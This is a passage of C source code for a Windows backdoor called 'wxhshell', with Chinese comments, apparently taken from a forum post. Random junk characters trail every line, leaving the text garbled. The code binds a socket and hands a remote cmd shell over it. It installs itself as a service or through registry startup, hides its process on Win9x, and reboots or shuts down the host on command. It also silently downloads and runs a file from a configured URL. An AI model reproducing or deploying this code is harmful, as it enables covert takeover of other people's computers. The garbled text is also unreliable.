    switch(cmd[0]) { PD&e6;rj;  
  H oQb.Z  
  // 帮助 YIe1AF}   
  case '?': { j7!u;K^c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A]bb*a1  
    break; do" m=y  
  } vj?{={Y  
  // 安装 1< !P:@(  
  case 'i': { jF6_yw  
    if(Install()) Jn hdZa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {~apY,3  
    else >iT mILA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fs]N9],=I  
    break; ?b_E\8'q]  
    } v`4w=!4  
  // 卸载 9^*RK6  
  case 'r': { N'b GL%  
    if(Uninstall()) 24wDnDyh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {6u)EJ  
    else W?Z>g"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'n|U   
    break; \;7U:Y$v  
    } k+_>`Gre}  
  // 显示 wxhshell 所在路径 O*N:A[eW  
  case 'p': { ? 2}%Rb39  
    char svExeFile[MAX_PATH]; S?v/diK ]J  
    strcpy(svExeFile,"\n\r"); )G48,. "  
      strcat(svExeFile,ExeFile); l,|Llb  
        send(wsh,svExeFile,strlen(svExeFile),0); CPZ{  
    break; SK}jhm"y  
    } ~(GvjB/C8  
  // 重启 ;f%@s1u  
  case 'b': { KS_+R@3Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YdD; Qx#O  
    if(Boot(REBOOT)) ~gX1n9_n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uyX % &r  
    else { ?8 }pZ_j  
    closesocket(wsh); s#7"ZN  
    ExitThread(0); #IH9S5B [  
    } ~W @dF~r  
    break; OP!R>|  
    } `n>/MY  
  // 关机 21!X[) r  
  case 'd': { ..yV=idI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f`4=Bl&"{  
    if(Boot(SHUTDOWN)) |5flvkid  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >33=0<  
    else { _`gF%$]b  
    closesocket(wsh); 56C8)?  
    ExitThread(0); mAlG }<  
    } K+Him] b  
    break; yl$Ko  
    } e"866vc,  
  // 获取shell 1(;{w +nM  
  case 's': {  r(^00hvH  
    CmdShell(wsh); Q7x[08TI  
    closesocket(wsh); {/noYB<;  
    ExitThread(0); 6vNW)1{nn  
    break; (H:c8 0/V  
  } }hy4EJ  
  // 退出 AYf}=t|  
  case 'x': { vapC5,W"2-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C-edQWbcP  
    CloseIt(wsh); |0Z J[[2  
    break; M[I=N  
    } )Q1aAS3  
  // 离开 * o1US  
  case 'q': { >|S@twy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3nBZ+n4z  
    closesocket(wsh); 4$^mLD$>  
    WSACleanup(); U_VP\ 03  
    exit(1); F,vkk{Z>  
    break; @*rMMy 4  
        } 0^*,E/}P&  
  } pnu?=.O  
  } N:|``n>  
\(LD<-a  
  // 提示信息 fDYTupKXH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]D nAW'm  
} [xGwqa03  
  } gI7*zR4D  
o;c"-^>  
  return; (pH)QG  
} ,LZA\XC  
v RD/67  
// shell模块句柄 38sLyoG=i  
int CmdShell(SOCKET sock) =b66H]h?  
{ l4DBGZB  
STARTUPINFO si; q=^;lWs4  
ZeroMemory(&si,sizeof(si)); qBF|' .$^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9ug4p']  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .]E"w9~  
PROCESS_INFORMATION ProcessInfo; iq3)}hGo  
char cmdline[]="cmd"; IS" [<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XR]bd  
  return 0; ?"'+tZ=f6  
} &wDZ@{h  
<e! TF @  
// 自身启动模式 KxErWP%  
int StartFromService(void) 8$c) ]Bv  
{ 9O &]!ga  
typedef struct p7AsNqEp  
{ KsGW@Ho:  
  DWORD ExitStatus; 9'(^ Coq  
  DWORD PebBaseAddress; j![1  
  DWORD AffinityMask; 7zzFM  
  DWORD BasePriority; %KF I~Qk  
  ULONG UniqueProcessId; 'g <"@SS+  
  ULONG InheritedFromUniqueProcessId; <IIz-6*V  
}   PROCESS_BASIC_INFORMATION; }bi hlyB&Q  
%V;* E]  
PROCNTQSIP NtQueryInformationProcess; 'WHI.*=  
p+Q9?9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nt"\FZ*;3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fr50hrtkU  
mfj%-)l9  
  HANDLE             hProcess; m>Z3p7!N}  
  PROCESS_BASIC_INFORMATION pbi; O-.G("  
)09ltr0@"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !L +b{  
  if(NULL == hInst ) return 0; ~_0XG0oA  
N5W!(h)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ADF<5#I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wlg1t~1=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zvGncjMkC  
5222"yn"c  
  if (!NtQueryInformationProcess) return 0; 7 2i&-`&4  
1 jLQij  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pzt<[;  
  if(!hProcess) return 0; _x|R`1`  
:CqR1_n%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E<D^j^T  
N[-$*F,:_  
  CloseHandle(hProcess); uo?R;fX26  
HjzAFXRG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qsEFf(9G  
if(hProcess==NULL) return 0; k]AL\) &W  
Zk~Pq%u  
HMODULE hMod; {oAD;m`  
char procName[255]; % dtn*NU  
unsigned long cbNeeded; qOmL\'8  
h:7\S\|8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;>/Mal  
Gv]94$'J9  
  CloseHandle(hProcess); <k3KCt  
>;"%Db  
if(strstr(procName,"services")) return 1; // 以服务启动 ;TC]<N.YJT  
6Ik v}q_j  
  return 0; // 注册表启动 hVyeHbx  
} ``]NB=N}{1  
ltrti.&  
// 主模块 ajG_t  
int StartWxhshell(LPSTR lpCmdLine) !yi*Zt~  
{ Ve9) ?=!  
  SOCKET wsl; e34g=]"  
BOOL val=TRUE; pub?%  
  int port=0; +BM[@?"hrh  
  struct sockaddr_in door; b7+(g [O  
Y_C6*T%  
  if(wscfg.ws_autoins) Install(); ^N^s|c'  
)l(DtU!E  
port=atoi(lpCmdLine); -|u yJh  
nm_taER  
if(port<=0) port=wscfg.ws_port; /?j kVy*"  
89KFZ[.}]  
  WSADATA data; 3A0Qjj=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =oq=``%  
00SS<iX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @K S.H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K[?@nl?,z  
  door.sin_family = AF_INET; Wc m'E3c,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }!r pH{y  
  door.sin_port = htons(port); ~Hd *Xl  
C2b<is=H:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a".iVf6y  
closesocket(wsl); zRgGSxn  
return 1; ZmkH55Cn  
} :_F 8O  
t@ri`?0w  
  if(listen(wsl,2) == INVALID_SOCKET) { XR<g~&h  
closesocket(wsl); ,dosF Q  
return 1; xY.?OHgG/  
} *>:<  
  Wxhshell(wsl); yK"HHdYTV  
  WSACleanup(); =eS?`|  
0dsL%G~/N  
return 0; xFIzq  
s`G}MU  
} lSoAw-@At8  
hW~UJ/$  
// 以NT服务方式启动 <e S+3,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uT=5zu  
{ *aFh*-Sj2I  
DWORD   status = 0; (["V( $  
  DWORD   specificError = 0xfffffff; S|KUh|=Q  
SY:ISzB}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }Q\+w,pJgN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YUTh*`1k<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pVzr]WFx  
  serviceStatus.dwWin32ExitCode     = 0; }G^'y8U  
  serviceStatus.dwServiceSpecificExitCode = 0; m$hkmD|  
  serviceStatus.dwCheckPoint       = 0; '~7zeZ'  
  serviceStatus.dwWaitHint       = 0; ?I+$KjE+  
6Hy_7\$(-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L?M x"  
  if (hServiceStatusHandle==0) return; e]dFNunFq0  
b?!S$Sxz  
status = GetLastError(); +Y;hVc E9  
  if (status!=NO_ERROR) )lz)h*%#  
{ &Cm]*$?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; " &`>+Yw  
    serviceStatus.dwCheckPoint       = 0; m;1/+qs0  
    serviceStatus.dwWaitHint       = 0; 9s7TLT k  
    serviceStatus.dwWin32ExitCode     = status; 6Z=Qs=q  
    serviceStatus.dwServiceSpecificExitCode = specificError; {: \LFB_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Chad}zU`  
    return; C7AD1rl  
  } j, *= D6  
+~P_o_M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~>_UTI  
  serviceStatus.dwCheckPoint       = 0; [wJ\.9<Oa  
  serviceStatus.dwWaitHint       = 0; / $s(OFbi#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M^ e}w!U  
} 5yj#9H  
OTAe#]#  
// 处理NT服务事件,比如:启动、停止 O:~J_Wwl!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q`;eI a6U  
{ OZz!8-|wE  
switch(fdwControl) ^B}q@/KV  
{ `}L{gssv  
case SERVICE_CONTROL_STOP: )J+A2>  
  serviceStatus.dwWin32ExitCode = 0; ~J#Z7y]p!j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  M_%c9g@x  
  serviceStatus.dwCheckPoint   = 0; M0?%r`  
  serviceStatus.dwWaitHint     = 0; ly_8p63-  
  { A>mk0P)~Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Akws I@@  
  } >lyE@S sA  
  return; -eD]gm  
case SERVICE_CONTROL_PAUSE: }J-e:FUF#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1_;{1O+B  
  break; 8X278^ #  
case SERVICE_CONTROL_CONTINUE: ~4twI*f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C9""sVs  
  break; v046  
case SERVICE_CONTROL_INTERROGATE: ~6O~Fth  
  break; 9KJ}A i  
}; 62Tel4u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , )TnIByM  
} %]4=D)Om  
jY=M{?h''  
// 标准应用程序主函数 q\gbjci  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~J5B?@2hK  
{ C(z 'oi:f  
?<\2}1  
// 获取操作系统版本 g>gf-2%Uo  
OsIsNt=GetOsVer(); O(e!Vx{t!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); to1r 88X  
*WFd[cKE  
  // 从命令行安装 L`w r~E2u  
  if(strpbrk(lpCmdLine,"iI")) Install(); lOe|]pQ.,  
P*U^,Jh<  
  // 下载执行文件 IGly x'\_  
if(wscfg.ws_downexe) { Y" rODk1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZSD7%gE<D  
  WinExec(wscfg.ws_filenam,SW_HIDE); o Q*LP{M  
} tGbx/$Y   
voTP,R[}85  
if(!OsIsNt) { V eY&pPQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 !"-.D4*r  
HideProc(); iTT%_-X-  
StartWxhshell(lpCmdLine); Fq o h!F  
} Gxxz4    
else B(} 'yY@%u  
  if(StartFromService()) vM$hCV ~N  
  // 以服务方式启动 {^:NII]  
  StartServiceCtrlDispatcher(DispatchTable); EQw7(r|v:  
else Di}M\!-[  
  // 普通方式启动 28c6~*Te #  
  StartWxhshell(lpCmdLine); e{XzUY6  
Rh$+9w  
return 0; y7rT[f/J  
}
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只看该作者 1 发表于: 2006-10-10
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